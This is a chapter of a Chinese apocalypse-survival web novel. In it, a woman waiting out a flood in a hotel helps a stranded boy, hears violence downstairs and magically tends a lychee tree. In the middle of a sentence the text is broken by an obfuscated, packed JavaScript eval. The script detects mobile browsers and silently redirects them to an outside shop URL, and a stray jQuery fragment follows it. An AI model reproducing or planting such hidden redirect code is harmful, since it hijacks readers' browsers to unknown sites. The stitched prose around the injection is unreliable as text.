文趣网 > 其他小说 > 无限生存游戏[末日求生] > 25. 水灾求生 5
    她深吸了一口气,又慢慢呼出来。忽然觉得自己好像也变了,上次副本她还能跟人组队、开两句玩笑,这次她越来越把自己缩在房间里,越来越不想和任何人接触。

    她不知道自己这样是对的还是不对的,但至少目前为止,她活下来了。

    傍晚的时候她去走廊尽头的热水机接水。这种时候公共区域已经没什么人了,走廊里空荡荡的,地毯吸掉了她所有的脚步声。

    热水机的水温比前天低了一些,她接了大半壶就停了,刚转身往回走,听见楼梯口的方向传来一阵窸窸窣窣的动静。

    她侧过头看去。楼梯间防火门的玻璃窗后面,一团黑影缩在角落里。苏茶茶放轻脚步走近了些,从那扇窄长的玻璃窗望进去,是一个七八岁的小男孩,蹲在楼梯台阶上,缩成一团,膝盖顶着胸口,脸埋进臂弯里,肩膀一耸一耸的,在哭。

    苏茶茶的手搭在门把上停住了。走廊里静悄悄的,只有热水机发出微弱的嗡嗡声,她站着看了几秒,看见那小男孩抬起头来,脸上全是泪痕,眼睛红红的,看见她的那一瞬间猛地往后缩了一下,像一只被惊到的小兽。

    苏茶茶把门推开了一条缝,没有走进去,蹲下来和他平视,压低了声音:“你怎么一个人在这儿?你爸妈呢?”

    小男孩嘴唇哆嗦了两下,用手背蹭了一下鼻子,声音小得几乎听不见:“他们说……说出去找吃的……让我在房间里等着,别乱跑……已经一天了……”

    苏茶茶心里往下沉了一下,一天。今天早上她还听见走廊里有人喊退烧药,那个时候这个小男孩大概就已经坐在楼梯间里了。

    她看着他干裂起皮的嘴唇和通红的眼眶,犹豫了两秒,从口袋里,实则是从空间里,摸出一块压缩饼干和一小瓶水,递了过去。

    “先吃点东西,别坐在这里了,回房间里去等。”

    小男孩伸出手,指尖还带着孩童特有的那种圆润感,一把抓过饼干攥在手里,像是攥着什么比命还重要的东西。他抬头看了苏茶茶一眼,嘴唇翕动着:“我……我没有钥匙……他们说带钥匙的,但他们没有回来……”

    苏茶茶愣了一瞬,喉咙里堵了一下。她张了张嘴,想说点什么,但又觉得说什么都轻飘飘的。她沉默了几秒,把水瓶也往他手里一塞:“拿着,去十楼找前台的人,让他们帮你开门。”

    小男孩重重地点了点头,攥着饼干和水瓶站起来,用袖子抹了一把脸,转身往楼梯下方跑去了。他的脚步声在空旷的楼道里敲出一串细碎的回响,越来越远,最后消失了。

    苏茶茶站起来,把防火门轻轻带上了。她站在走廊里安静了片刻,热水机还在低低地嗡鸣,走廊尽头的应急灯发出白色的光。她把水壶拎回房间,关好门,在床边坐了很久。

    晚上她靠在床头翻手机。信号早就断了,屏幕上的“无服务”三个字安安静静地横在状态栏顶端。

    夜色彻底沉下来之后外面的动静反而少了。白天那些吵架、砸门、跑来跑去的声响都歇了,只剩下雨声和海浪拍打楼体的沉闷响动。

    苏茶茶缩在被子里半梦半醒的时候,忽然听见楼下传来一声枪响,沉闷的、短促的,隔着几层楼板传上来像是拍了一下手掌。

    她的后背倏地绷紧了,整个人从床上弹坐起来,屏住呼吸听了好一会儿。但那之后什么也没有了,走廊里安安静静,外面只有雨声。

    她躺回去,把匕首从枕头底下摸出来握在手心,侧躺着蜷成一团,睁着眼看着窗帘缝里透进来的那一线暗沉的天光,很久没有入睡。

    早上苏茶茶醒得比前几天都早,天还没全亮,她起来的第一件事是去检查那棵荔枝树,掀开桌布的时候她又愣住了。

    树的顶端冒出了几根细细的分枝,每一根分枝的末端都挂着一个小小的,米粒大小的凸起,比昨天看到的那几个稍微大了一些,颜色也从嫩绿变成了带一点鹅黄的浅绿。

    她蹲下来仔细端详了那些小小的凸起,像是在什么植株图鉴上见过类似的结构,花苞,大概是花苞。她伸手轻轻碰了一下最顶端的那个,硬硬的,饱满的,带着一股春天嫩芽特有的韧劲。

    “不会真的让你给种出来了吧?”苏茶茶嘀咕了一声,半信半疑地站了起来。那瓶营养液的广告词“三天开花七天结果”又在她脑子里转了一圈,她当时只当笑话看的,但照目前这个长势,三天开花好像也不是完全没可能。

    她决定今天再仔细观察观察,如果明天这几个小疙瘩真的张开了,那她就承认那家网店确实有两把刷子。

    她洗漱完吃了早饭,翻出之前从空间里拿出来的地图又研究了一会儿。地图上的市区范围已经标注得七七八八了,但酒店周围的情况变化太快,昨天的信息今天可能就过时了。

    她想了想,决定再出去划一圈船,至少把酒店一公里内的水面情况摸清楚,哪些楼还稳着,哪些地方的水流比较急,有没有适合以后转移的路线。

    但就在她收拾东西准备出门的时候,楼下又乱了。

    这回不是吵架,也不是砸门,是有人在尖叫,不止一个,此起彼伏的,像是从酒店大厅的方向传上来的,混着杂乱的脚步声和什么东西被拖拽的刺耳刮擦声。

    苏茶茶走到窗边侧耳听了一会儿,那种声音让她后脊背一阵阵发凉,像是某种动物被逼到绝境时发出的短促高频的嘶鸣。

    她快步走到门口,把门开了条缝往走廊里看了看。走廊里已经站着好几扇门打开的人,个个探头探脑地望着楼梯口的方向,有人在小声交头接耳。

    “楼下怎么了?”

    “不太清楚……好像是有人的房间被撬了……”

    “不止吧,我听见有人喊救命。”

    苏茶茶没有挤到楼梯口去凑热闹,她退回了房间关上门,把耳朵贴在门板上继续听。大约过了十几分钟,楼下的动静渐渐平息了,却像是被什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684923|207710||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东西按住了嘴之后的安静。

    走廊里的人群陆续散了,有人低声议论着什么,但声音压得太低,隔着门板她听不清具体内容。苏茶茶站了一会儿,没有出去,坐回床边拿出手机刷了一下论坛。

    信号早就没了,论坛页面停留在上一次刷新的缓存状态,最后一条帖子还是两天前发的,标题是“兄弟们你们那边怎么样了”,底下的回复也只加载了一半就停了。

    她看着那条未加载完的回复,心里忽然生出一个念头来,如果这个世界的通讯系统全面瘫痪了,那她所在的城市,是不是已经彻底孤立无援了?

    苏茶茶把手机锁了屏,扣在膝盖上坐了好一会儿。屏幕上那片“无服务”三个字像一枚小小的印章,把她心里那些隐隐约约的不安盖了个结结实实。

    她盯着窗帘缝隙里透进来的灰白光线看了一会儿,又侧耳听了听外面的动静,走廊里那些嘈杂的脚步声已经散了,但那种安静不是让人放松的安静,反倒更像是暴风雨前那种压着嗓子的沉默。

    她想了想,把充气船收回空间里,决定今天不出门了。反正物资够用,树也长得好好的,她手头要做的事情多着呢,犯不着在这种不明不白的情况下去蹚浑水。

    而且刚才那种尖叫声和拖拽声听起来就不太对劲,她虽然好奇,但好奇害死猫的道理她还是懂的。万一撞上什么硬茬子,她这点三脚猫的功夫和那把手枪可不够看。

    苏茶茶站起来活动了一下肩膀,走到角落的荔枝树前蹲下来,像每天早上一样端详它的变化。

    昨天那些米粒大小的凸起今天又大了不少,最大的几个已经从浅鹅黄变成了一种更深的、带着一点点粉意的颜色,形状也更饱满了,像是一颗颗被仔细包好的小灯笼。

    她伸手轻轻碰了碰最顶端的那一颗,指尖触到的触感硬硬的,但比昨天的硬多了一丝微弱的弹性,像是里面的东西正在慢慢地鼓胀起来,把外层的苞片撑薄了一些。

    “行啊,有点东西。”苏茶茶小声嘀咕了一句,嘴角翘了翘。她本来还担心那瓶营养液只是个噱头,现在看来至少没白花钱,虽然三天开花七天结果不一定真的能兑现,但花苞确实在长大,这棵树也确实在以肉眼可见的速度发生变化。

    她决定今天把异植专家的技能也用在它身上,反正催生红薯也是催,催荔枝也是催,这棵树既然长势这么好,她不妨把所有的鸡蛋都放在这一个篮子里。

    她把双手悬在土面上方,像前几天一样闭上眼,集中注意力调动职业面板上的催生技能。一股温热的暖流从掌心涌出去,渗进泥土、沿着根系往上蔓延。

    她闭着眼都能感觉到那种回应,比前天更强了,更像是树里面有什么东西正在欢快地迎上来,主动去接住那股暖意。

    整棵小树在她掌心下方轻轻颤动了一下,叶片发出细碎的沙沙声,那种感觉不是她主动施加的,更像是树自己在用力地吸收她给的东西。